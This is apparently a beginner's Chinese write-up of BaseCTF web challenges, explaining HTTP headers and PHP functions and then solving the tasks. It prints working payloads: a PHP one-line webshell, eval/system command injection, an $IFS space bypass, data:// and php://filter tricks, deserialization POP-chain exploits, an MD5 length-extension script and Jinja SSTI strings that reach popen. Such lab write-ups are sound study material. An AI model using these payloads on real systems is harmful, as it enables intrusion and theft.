Week1 刚入门写的 wp
一、A dark room
这种小游戏的flag一般是藏在这个源代码里面的,可以用F12看源代码看元素找flag,其他的可以看网络请求,通常在这种游戏过关的题里面,通常查看看js代码,里面可能藏flag。其他的题可能藏在javascript里面。
二、HTTP是什么呀
关于HTTP :超文本传输协议 ( HTTP)是一个用于传输超媒体文档(例如 HTML)的 应用层 协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。HTTP 遵循经典的 客户端—服务端模型 ,客户端打开一个连接以发出请求,然后等待直到收到服务器端响应。 HTTP 是 无状态协议 ,这意味着服务器不会在两个请求之间保留任何数据(状态) 。
参考这篇文章:https://developer.mozilla.org/zh-CN/docs/Web/HTTP
1.GET参数
查看新手指引和视频内容,解这道题需要下载Hackbar
打开下载链接发现响应时间太长了,看攻略需要科学上网一下,之前我是没用过ladder的,花了一上午从B站、QQ、Github等平台上找资料学习,最后下载好了。
关于HackBar :
HackBar是一个用于浏览器的扩展插件,主要用于进行网络渗透测试和安全评估。它提供了一系列方便的工具和功能,可以帮助用户执行各种网络攻击和测试,包括 XSS、SQL 注入、CSRF、路径穿越等。以下是 HackBar插件的一些主要特点和功能:
自定义请求发送:HackBar允许用户自定义 HTTP 请求,并可以通过插件直接发送这些请求。用户可以手动构造 GET、POST、PUT、DELETE 等类型的请求,并添加自定义的 HTTP 头部、参数等信息。
编码/解码工具:HackBar提供了各种编码和解码工具,包括 URL 编码、Base64 编码、MD5 加密等。这些工具可用于在渗透测试中对数据进行编码或解码,以绕过一些安全机制或进行数据处理。
漏洞检测:HackBar可以帮助用户检测网站中常见的漏洞,例如 XSS、SQL 注入、CSRF 等。用户可以通过插件发送特定的测试请求,然后分析响应来确定目标网站是否存在漏洞。
Cookie 管理:HackBar允许用户管理浏览器中的 Cookie,包括添加、编辑、删除 Cookie 等操作。这对于进行身份验证、绕过登录限制等方面的渗透测试非常有用。
参数注入:HackBar提供了一个参数注入工具,可以帮助用户在 URL 中注入自定义的参数。用户可以使用这个工具测试网站的安全性,尝试发现潜在的漏洞。
总的来说,HackBar是一款功能丰富、易于使用的浏览器插件,适用于进行各种网络渗透测试和安全评估任务。它提供了许多有用的工具和功能,可以帮助安全专家快速有效地发现和利用网站中的漏洞。
参考资料:https://blog.csdn.net/2302_82189125/article/details/137762983
关于URL :
Internet上的每一个网页都具有一个唯一的名称标识,通常称之为URL(Uniform Resource Locator, 统一资源定位器)。它是www的统一资源定位标志,简单地说URL就是web地址,俗称“网址”。URL是对互联网上得到的资源的位置和访问方法的一种简洁表示,是互联网上标准资源的地址。URL它具有全球唯一性,正确的URL应该是可以通过浏览器打开此网页的,但如果您访问外网,会提示网页无法打开,这并不能说明这个URL是错误的。只不过在国内不能访问而已。
参考资料:https://blog.csdn.net/chen1415886044/article/details/103914255
百分号编码的内容查了一下:URL编码(也称为百分号编码)是一种在URL中表示特殊字符的方法。它将非字母数字字符替换为 % 后跟两个表示字符 ASCII值的 十六进制数字。这种编码用于确保这些字符可以安全地包含在 URL中,在传输和解析过程中不会引起错误 。
特殊字符及其编码意义:
空格(Space):%20 引号(”):%22 百分号(%):%25 加号(+):%2B 斜杠(/):%2F
冒号(:):%3A 问号(?):%3F@ 符号(@):%40 链接符号(#):%23
解这道题首先要GET参数basectf,GET参数我们需要问号来传递。
我当时直接传递成这样了,发现问题是我这个问号是中文的,并且%的内容没有转译过去。
在HackBar中用ENCODING中修正后就成功了
2.POST参数 HTTP四种请求:POST、GET、DELETE、PUT。
POST 请求用于向指定资源提交数据,通常会导致服务器端的状态发生变化。例如,在 Web 表单中填写用户信息并提交时,就是使用 POST 请求方式将表单数据提交到服务器存储。使用 POST 请求方式提交的数据会被包含在请求体中,而不像 GET 请求方式那样包含在 URL 中。因此, POST 请求可以提交比 GET 更大的数据量,并且相对更安全。
GET 请求用于向指定资源发出请求,请求中包含了资源的 URL 和请求参数。服务器端通过解析请求参数来返回相应的资源,不会修改服务器端的状态。使用 GET 请求方式提交的数据会被包含在 URL中,因此易于被缓存和浏览器保存,但也因此不适合用于提交敏感数据。
DELETE 请求用于请求服务器删除指定的资源,可以理解为对服务器上的资源进行删除操作。使用 DELETE 方式请求会导致指定的资源被永久删除,因此需要谨慎使用。
PUT 请求用于向服务器更新指定资源,可以理解为对服务器上的资源进行修改操作。使用 PUT 请求方式会覆盖原有的资源内容,因此需要谨慎使用。
参考资料: https://developer.aliyun.com/article/1476820
这道题打开下方的use POST method 输入Base=fl@g再传递就行了。
3.Cookie Cookie主要是存储用户登录网站时的数据,这样的话每一次访问网站的时候都会把Cookie带上,这样的话就是一个有状态的HTTP。
Get 和post都是拿&符号分隔的,cookie是分号来分隔的。
这道题在右下角Name一栏中输入Cookie,Value一栏中输入c00k13=i can’t eat it就行了。
4.用户代理(User-Agent) User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等简单来说,UA是浏览器的身份证,让服务器知道你是谁?服务器通过识别UA,来响应适合你电脑、手机…的网络页面
原文链接:https://blog.csdn.net/qq_42680471/article/details/120706248
这道题也是相同的思路,在Name一栏中填入User-Agent,Value一栏中填入Base再传递即可。
5.来源(Referer) Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。Referer 的正确英语拼法是referrer 。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
referer的作用:
1.防盗链:防盗链是一种通过服务器端编程防止资源被盗用的技术,主要通过URL过滤和检查HTTP协议中的referer字段来实现。图片服务器每次取到Referer来判断一下是不是我自己的域名,如果是就继续访问,不是就拦截。
2.防止恶意请求:静态请求是*.html结尾的,动态请求是*.shtml,那么由此可以这么用,所有的*.shtml请求,必须 Referer为自己的网站。
这道题基本思路和上面的差不多, 在Name一栏中填入Referer,Value一栏中填入Base再传递即可。
6.你的IP IP地址(Internet Protocol Address)是指互联网协议地址,又译为网际协议地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。
同时写网站的时候做好 X-Forward-For可以防止有对它内部进行的一些的攻击,也可以伪造IP。
X-Forwarded-For(XFF):是用来识别通过HTTP 代理 或负载均衡 方式连接到Web服务器 的客户端最原始的IP地址 的HTTP请求头字段。
这道题的思路同上。 在Name一栏中填入X-Forward-For ,Value一栏中填入127.0.0.1再传递即可。
7.结束 结束的时候会出现这个页面,提醒我们在一个页面转到另一个页面中途会经历什么
这时候我们看一下这个网络这个选项卡里面发现每一次都经历了重定向,重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置(如:网页重定向、域名的重定向、路由选择的变化也是对数据报文经由路径的一种重定向) ,通常是通过302的代码表示重定向,还有响应表头的location表示要把我重定向到哪里。
这里的flag就重定向了一次,当访问到success时,又重定向到Thank you,然后把这个flag的信息抹去了,所以最后一句话我理解的意思是不要忘了flag。这里直接拿flag还不行,需要Base64解码来拿flag。
三、喵喵喵´•ﻌ•`
PHP是一种流行的通用脚本语言,尤其适用于网络开发。从博客到世界上最流行的网站,PHP 都能为其提供快速、灵活和实用的支持。
这道题是接收 GET参数DT,然后把GET的参数传入到eval中去。
关于eval函数:
eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
这道题需要使用 system函数
关于system函数:
在PHP中,system函数是用来执行外部程序并显示输出的。这个函数与C语言中的system函数类似,它执行指定的命令并输出结果。如果PHP在服务器模块中运行,system函数还会尝试在每行输出完毕后自动刷新web服务器的输出缓存。要使用system函数,你需要提供要执行的命令作为参数。如果你还想获取命令执行后的返回状态,可以提供一个额外的参数来存储这个状态。system函数会返回命令输出的最后一行,如果执行失败则返回false。
上面可以直接传入代码、shell指令,语法还是前面?加DT=,接函数名system和(),()里的内容为’cat /flag’是代表cat根目录下的flag,中间空格不要忘,末尾有个分号“;”不要忘。之后就拿到flag了。
四、upload 文件上传,解这道题需要一句话木马 **<?php eval($_POST[0]); **
意思是直接把POST的参数里的0传到eval函数里面。
**<?php **表示这是个文件的开头,说明后面的所有内容都是PHP的代码。
eval() 函数表示要动态执行。
POST 是获取到一些POST的信息。
0 表示要获取POST参数的0参数传到eval()函数里面。
之后直接上传一句话木马,可以看到它后端的逻辑,就是把所有的文件移动到upload文件夹下面,然后获取它原本的文件名,之后把他拼接起来,把我们的文件给他放在那。
load的文件名eval这里,访问它就是空白页面
之后打开HackBar,手动用system构造eval,然后单引号里输入cat /flag,再传递就行了,得到flag提交。
五、md5绕过欸
进去后发现这一串代码:
该题目考的是php弱比较
关于php弱比较:
php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换。
在php中有两种比较符号: 一种是 ==,另外一种是 ===,都是用来比较两个数值是否相等的操作符,但他们也是有区别的:
== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。至于怎么转换后续会再赘述。
=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
当要比较的两种字符串的类型相同时,== 和 === 是相等的。
PHP转换规则:
若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如”aaa”是不能转换为数字的字符串,而”123”或”123aa”就是可以转换为数字的字符串)或null,则转换为0;
数字和“e”开头加上数字的字符串(例如”1e123”)会当作科学计数法去比较;0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0;
当字符串被当作一个数值来处理时,如果该字符串没有包含’. ’,‘e ’和‘E ’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0。
原文链接:https://blog.csdn.net/qq_45671431/article/details/105456684
关于MD5:
MD5信息 摘要算法 (英语:MD5 Message-Digest Algorithm),一种被广泛使用的 密码散列函数 ,可以产生出一个128位(16字节)的 散列值 (hash value),用于确保 信息传输 完整一致。MD5由美国密码学家 罗纳德·李维斯特 (Ronald Linn Rivest)设计,于1992年公开,用以取代 MD4 算法。这套算法的程序在 RFC 1321 标准中被加以规范。1996年后该算法被证实存在弱点,可以被加以破解,对于需要高度安全性的数据,专家一般建议改用其他算法,如 SHA-2 。2004年,证实MD5算法无法防止碰撞( collision ),因此不适用于安全性认证,如 SSL 公开 密钥认证 或是 数字签名 等用途。
关于echo:
echo是一个至关重要的语言结构,它负责在浏览器中输出一个或多个字符串。
代码复制到Visual Studio Code
先分析代码:它是先引用了’flag.php’,之后是要传入GET参数的name、name2和post参数里面的passward、password2。在下面的判断中如果name不弱等于passward并且他们的md5值弱等于,就进入下一个判断,否则输出”错啦错啦”。在第二次的判断中如果name2不强等于passward2并且name2和passward2的md5值强等于,就输出flag,否则输出”再看看啊,马上绕过嘞!”
思路:这道题用md5绕过,弱比较可以使用数组或是以下md5后开头为0e的字符串任意两个来绕过:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
0e215962017
因为在php中0e字符串都会被弱转换成0,所以这些字符原本是不一样的,但是经过md5转换后弱转换成一样的了,这样就算是绕过了。
强弱比较都可以直接用数组绕过,原理是:md5只针对的是字符串来进行处理,如果传入的其他的类型比如是数组,这时候就会返回一个null,同时会报错表示其不能对数组进行处理。所以他们数组的内容本来是不一致的,但是它们md5传回来都是null,是一样的,所以就算是绕过了。
所以在页面中打开KackBar传入name、name2、password和password2的对应的值就行了,值的内容如下:
此时flag就出现了,提交即可。
该题目说有推荐搜索关键词: 伪协议,SSRF,查了一下
关于伪协议:
伪协议包含:file:// 、 data:// 、 phar:// 、 php:// 、 gopher:// 、dict://等。PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen ()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过stream_wrapper_register() 来注册自定义的封装协议。伪协议常常用于文件包含漏洞之中。在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile。
php支持的伪协议:
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
fill://:
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响 , file://协议主要用于访问文件(绝对路径、相对路径以及网络路径),比如:http://www.xx.comfile=file:///etc/passsword
data://:
是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制 的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。它可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
示例用法:
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain ,
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
php://filter:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
关于SSRF:
一、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
二、SSRF漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
SSRF攻击可能存在任何语言编写的应用,接下来将举例 php 中可能存在SSRF漏洞的函数。
1.file_get_contents
2.sockopen()
3.curl_exec()
参考文章: https://blog.csdn.net/qq_43378996/article/details/124050308
关于本题要用到的URL格式:
URL 的格式为 scheme://user:password@address:port/path?query#fragment
scheme:表示当前是什么协议
user:password:表示我要拿什么用户密码来验证
@后面address:表示跟上路径地址
port:表示端口号,也就是靶机
path:路径
?后面的query:表示get参数
#后面的fragment:#后面的内容是不会穿给服务端的,是传给前端进行解析
关于strpos() 函数:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
关于include()函数:
PHP的include函数用于在一个文件中包含另一个文件的内容。 它可以用于创建可在多个页面重复使用的函数、页眉、页脚或元素。include语句会获取指定文件中存在的所有文本、代码或标记,并复制到使用include语句的文件中。与之类似的是require函数,它也用于包含其他文件的内容,但require只处理一次,而include每次都要进行读取和评估
关于127.0.0.1 IP地址
首先我们要先知道一个概念,凡是以127开头的IP地址,都是回环地址(Loop back address),其所在的回环接口一般被理解为虚拟网卡,并不是真正的路由器接口。
所谓的回环地址,通俗的讲,就是我们在主机上发送给127开头的IP地址的数据包会被发送的主机自己接收,根本传不出去,外部设备也无法通过回环地址访问到本机。
而127.0.0.1作为{127}集合中的一员,当然也是个回环地址。只不过127.0.0.1经常被默认配置为localhost的IP地址。 一般会通过ping 127.0.0.1来测试某台机器上的网络设备是否工作正常。
进入到题目中发现
、
分析代码:
只有中间的 file_get_contents ( $pen ) == ‘Aura’ 才可绕过第一个
只有 strpos ( $challenge , ‘http://jasmineaura.github.io ‘ ) == 0 也就是challenge=http://jasmineaura.github.io才可绕过第二个
只有 strpos ( $blog_content , ‘已经收到Kengwang的礼物啦’ ) !== false ,也就是读出” 已经收到Kengwang的礼物啦 “才可绕过第三个
首先对于第一个判断, 他需要读取一个 文件后内容是Aura,我们可以尝试通过data://伪协议来进行读取在文件读取的情况下, 利用 data:// 伪协议:
data://text/plain,一串内容 可以读取出 一串内容
data://text/plain;base64,xxxxxxxx 其中 xxxxxxx 会被 Base64 解码后再读取出内容
所以我们此处可以使用:“pen=data://text/plain,Aura“来进行绕过
上传一下发现已经绕过成功了
想要绕过下一个可以利用这个get参数让challenge=http://jasmineaura.github.io
即在后面&加上challenge=http://jasmineaura.github.io就行了
asmineaura.github.io表示为用户和密码,密码可以为空。@后面跟上真实的路径,真实的路径可以为自己的服务器,在自己的服务器写下这个页面,也可以利用之前的题目的靶机来写,也可以用当前的页面,因为当前页面有这个内容的。
所以直接可以@127.0.0.1获取当前页面这样的花就可以进行绕过
可以发现”请去博客里面写下感想哦~”已经没有了说明已经绕过成功了
最后就是gift,include函数会解析文件里的php标签,而flag写在了注释的位置,所以这里需要将其伪协议和过滤器来进行 base64 编码后输出
php://格式为:php://filter/read=convert.base64-encode/resource=index.php
来了
t style=”color:rgb(37, 37, 37);”>ez_ser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file(__FILE__); error_reporting(0 ); class re { public $chu0; public function __toString(){ if (!isset($this->chu0)){ return "I can not believes!" ; } $this->chu0->$nononono; } } class web { public $kw; public $dt; public function __wakeup() { echo "lalalla" .$this->kw; } public function __destruct() { echo "ALL Done!" ; } } class pwn { public $dusk; public $over; public function __get($name) { if ($this->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this->over->getflag(); } } class Misc { public $nothing; public $flag; public function getflag() { eval ("system('cat /flag');" ); } } class Crypto { public function __wakeup() { echo "happy happy happy!" ; } public function getflag() { echo "you are over!" ; } } $ser = $_GET['ser' ]; unserialize($ser); ?>
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class re { public $chu0; } class web { public $kw; public $dt; } class pwn { public $dusk = "gods" ; public $over; } class Misc { public $nothing; public $flag; } //web->re->pwn->Misc $a = new web(); $a->kw = new re(); $a->kw->chu0 = new pwn(); $a->kw->chu0->over = new Misc(); echo serialize($a); ?>
一起吃豆豆 看代码就行了
ez
你听不到我的声音 ez 无回显 rce,重定向就行了
RCEisamazingwithspace 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__); $cmd = $_POST['cmd' ]; // check if space is present in the command // use of preg_match to check if space is present in the command if (preg_match('/\s/' , $cmd)) { echo 'Space not allowed in command' ; exit; } // execute the command system($cmd);
经典 $IFS
听说你很懂MD5? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start(); highlight_file(__FILE__); // 所以你说你懂 MD5 了? $apple = $_POST['apple' ]; $banana = $_POST['banana' ]; if (!($apple !== $banana && md5($apple) === md5($banana))) { die('加强难度就不会了?' ); } // 什么? 你绕过去了? // 加大剂量! // 我要让他成为 string $apple = (string)$_POST['appple' ]; $banana = (string)$_POST['bananana' ]; if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) { die('难吗?不难!' ); } // 你还是绕过去了? // 哦哦哦, 我少了一个等于号 $apple = (string)$_POST['apppple' ]; $banana = (string)$_POST['banananana' ]; if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) { die('嘻嘻, 不会了? 没看直播回放?' ); } // 你以为这就结束了 if (!isset($_SESSION['random' ])) { $_SESSION['random' ] = bin2hex(random_bytes(16 )) . bin2hex(random_bytes(16 )) . bin2hex(random_bytes(16 )); } // 你想看到 random 的值吗? // 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧 $random = $_SESSION['random' ]; echo md5($random); echo '<br />' ; $name = $_POST['name' ] ?? 'user' ; // check if name ends with 'admin' if (substr($name, -5 ) !== 'admin' ) { die('不是管理员也来凑热闹?' ); } $md5 = $_POST['md5' ]; if (md5($random . $name) !== $md5) { die('伪造? NO NO NO!' ); } // 认输了, 看样子你真的很懂 MD5 // 那 flag 就给你吧 echo "看样子你真的很懂 MD5" ; echo file_get_contents('/flag' ); 加强难度就不会了?
第一关是 md5 弱比较,数组绕过
第二关也是是 md5 弱比较,字符串绕过
第三关是 md5 强比较,fastcoll 绕过
第四关是 md5 长度拓展攻击,参考文章:https://www.cnblogs.com/p00mj/p/6288337.html
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 from struct import pack, unpackfrom math import floor, sin""" MD5 Extension Attack ==================== @refs https://github.com/shellfeel/hash-ext-attack """ class MD5 : def __init__ (self ): self .A, self .B, self .C, self .D = \ (0x67452301 , 0xefcdab89 , 0x98badcfe , 0x10325476 ) self .r: list [int ] = \ [7 , 12 , 17 , 22 ] * 4 + [5 , 9 , 14 , 20 ] * 4 + \ [4 , 11 , 16 , 23 ] * 4 + [6 , 10 , 15 , 21 ] * 4 self .k: list [int ] = \ [floor(abs (sin(i + 1 )) * pow (2 , 32 )) for i in range (64 )] def _lrot (self, x: int , n: int ) -> int : return (x << n) | (x >> 32 - n) def update (self, chunk: bytes ) -> None : w = list (unpack('<' + 'I' * 16 , chunk)) a, b, c, d = self .A, self .B, self .C, self .D for i in range (64 ): if i < 16 : f = (b & c) | ((~b) & d) flag = i elif i < 32 : f = (b & d) | (c & (~d)) flag = (5 * i + 1 ) % 16 elif i < 48 : f = (b ^ c ^ d) flag = (3 * i + 5 ) % 16 else : f = c ^ (b | (~d)) flag = (7 * i) % 16 tmp = b + \ self ._lrot((a + f + self .k[i] + w[flag]) & 0xffffffff , self .r[i]) a, b, c, d = d, tmp & 0xffffffff , b, c self .A = (self .A + a) & 0xffffffff self .B = (self .B + b) & 0xffffffff self .C = (self .C + c) & 0xffffffff self .D = (self .D + d) & 0xffffffff def extend (self, msg: bytes ) -> None : assert len (msg) % 64 == 0 for i in range (0 , len (msg), 64 ): self .update(msg[i:i + 64 ]) def padding (self, msg: bytes ) -> bytes : length = pack('<Q' , len (msg) * 8 ) msg += b'\x80' msg += b'\x00' * ((56 - len (msg)) % 64 ) msg += length return msg def digest (self ) -> bytes : return pack('<IIII' , self .A, self .B, self .C, self .D) def verify_md5 (test_string: bytes ) -> None : from hashlib import md5 as md5_hashlib def md5_manual (msg: bytes ) -> bytes : md5 = MD5() md5.extend(md5.padding(msg)) return md5.digest() manual_result = md5_manual(test_string).hex () hashlib_result = md5_hashlib(test_string).hexdigest() assert manual_result == hashlib_result, "Test failed!" def attack (message_len: int , known_hash: str , append_str: bytes ) -> tuple : md5 = MD5() previous_text = md5.padding(b"*" * message_len) current_text = previous_text + append_str md5.A, md5.B, md5.C, md5.D = unpack("<IIII" , bytes .fromhex(known_hash)) md5.extend(md5.padding(current_text)[len (previous_text):]) return current_text[message_len:], md5.digest().hex () if __name__ == '__main__' : message_len = int (input ("[>] Input known text length: " )) known_hash = input ("[>] Input known hash: " ).strip() append_text = input ("[>] Input append text: " ).strip().encode() print ("[*] Attacking..." ) extend_str, final_hash = attack(message_len, known_hash, append_text) from urllib.parse import quote from base64 import b64encode print ("[+] Extend text:" , extend_str) print ("[+] Extend text (URL encoded):" , quote(extend_str)) print ("[+] Extend text (Base64):" , b64encode(extend_str).decode()) print ("[+] Final hash:" , final_hash)
playload:
1 apple[]=114514 &banana[]=1919810 &appple=s878926199a&bananana=s155964671a&apppple=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %03%00 %00 %00 %00 %00 %00admin&md5=8f44cb3ab643f683b97dafa61f9c5cf5
Hackbar 不行,必须抓包进行 POST
Really EZ POP 这次的反序列化让我学到了可以在类中再加一个函数访问私有成员
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file (__FILE__ ); class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class Sink { private $cmd = 'system("cat /*");' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function SetWord ($word ) { $this ->word = $word ; } public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } $a = new Nature ();$a ->sea = new Sea ();$a ->sea->animal = new shark ();$a ->sea->animal->SetWord (new Sink ());echo urlencode (serialize ($a ));
数学大师 3s 内算 50 道题
注意乘除符号的转化
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import re import requests requests = requests.session() url = "http://gz.imxbt.cn:20262" answer = 0 i = 0 while (i < 100 ) : responses = requests.post(url, data ={"answer" : answer}) print (responses.text) i = i + 1 if "BaseCTF" in responses.text: flag = re.search(r'BaseCTF\{[^}]+\}' , responses.text) print ("flag:" ,flag.group(0 )) break match_string = r"(\d*)(.)(\d*)\?" match = re.search(match_string,responses.text) num1 = int (match .group(1 )) num2 = int (match .group(3 )) if match .group(2 ) == "+" : answer = num1 + num2 elif match .group(2 ) == "-" : answer = num1 - num2 elif match .group(2 ) == "×" : answer = num1 * num2 elif match .group(2 ) == "÷" : answer = num1 // num2
Week3 复读机 过滤字符:
print 是可行的
关键字过滤
先看看有没有能 rce 的类
1 BaseCTF{%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137])%}
看看目录
1 BaseCTF{%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['po''pen']('ls')['rea''d']())%}
但是斜杠和反斜杠背过滤了,所以我们可以考虑 chr 拼接
1 2 3 BaseCTF{%set chr = ''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['_''_buil''tins_''_']['chr']%} {%set cmd = 'ls '~chr(47)~''%} {%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['po''pen'](cmd)['rea''d']())%}
可以了
1 2 3 BaseCTF{%set chr = ''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['_''_buil''tins_''_']['chr']%} {%set cmd = 'cat '~chr(47)~'flag'%} {%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['po''pen'](cmd)['rea''d']())%}
滤个不停 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); } $required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } } if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern ) !== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); } ?>
